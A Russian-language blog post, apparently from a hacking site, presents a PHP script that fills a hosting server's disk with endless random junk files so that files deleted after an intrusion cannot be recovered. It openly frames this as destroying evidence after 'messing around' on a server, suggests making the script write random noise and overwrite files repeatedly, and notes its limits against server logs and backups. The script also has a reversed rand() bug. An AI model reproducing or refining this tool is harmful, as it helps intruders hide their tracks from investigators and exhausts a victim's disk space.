Задача:
Создать PHP скрипт, который заполнит всё свободное пространство на диске хостинга разнообразными файлами и папками. Для того, чтобы сделать невозможным, либо максимально усложнить процесс восстановления удаленных нами ранее оттуда файлов. В общем, затираем следы, после того, как мы там «похулеганили» и минимизируем количество улик.
После долгого гугления, был найден один php скрипт «Засеря».
Запускаем его в папке, у которой можно выставить права на запись и выполнение (chmod 777)
Сам скрипт:
<?php
set_time_limit(0);
ignore_user_abort();
echo("Понеслааась...");
/////////////////////////////////////////////////////////////////
$name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s',
't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L',
'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6',
'7','8','9','0');
//////////////////////////////////////////////////////////////////
$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
'.bat','.log','.dll','.hak','.wmf','.zip','.rar',
'.tar','.gz','.jpg','.gif','.bmp');
/////////////////////////////////////////////////////////////////
while(true){
$perem = "";
$fuck="";
for($i = 0; $i < rand(20,1); $i++){ // количество сиволов в имени файла.
$by = rand(0, count($name) - 1);
$perem .= $name[$by];
}
$ra=rand(0, count($rash)-1);
$fuck.= $rash[$ra];
$fp=fopen($perem.$fuck,"w");
fwrite($fp,php_uname());
fclose($fp);
}
?>
Наблюдаем за все больше растущим количеством файлов и радуемся…
В идеале, конечно, доработать его следующим функционалом:
— Научить его создавать файлы разного объема с беспорядочным содержимым внутри. Белый шум и ему подобные источники идеально бы сюда вписались.
— Научить его перезаписывать созданные файлы указанное количество раз.
P.S. Скрипт следует использовать только в том случае, когда у вас нет другого доступа к серверу, кроме как фтп. Если есть доступ к SSH, то используют уже готовые утилиты, которые удаляют все данные с сервера в несколько проходов.
P.S.S. Конечно он не сотрет логи сервера, которые зафиксировали что вы ранее записывали файлы с таким-то именем на сервер. Этот скрипт поможет вам только в том случае, когда в ваших файлах, которые вы уже удалили, содержалась информация, которая не должна попасть в поле зрения тех лиц, которые могут вами заинтересоваться. Так-же он не защитит вас, если на сервере создавались бэкапы и у вас нет к ним доступа.





Base 64 Декодер
SEO анализатор
Транслитератор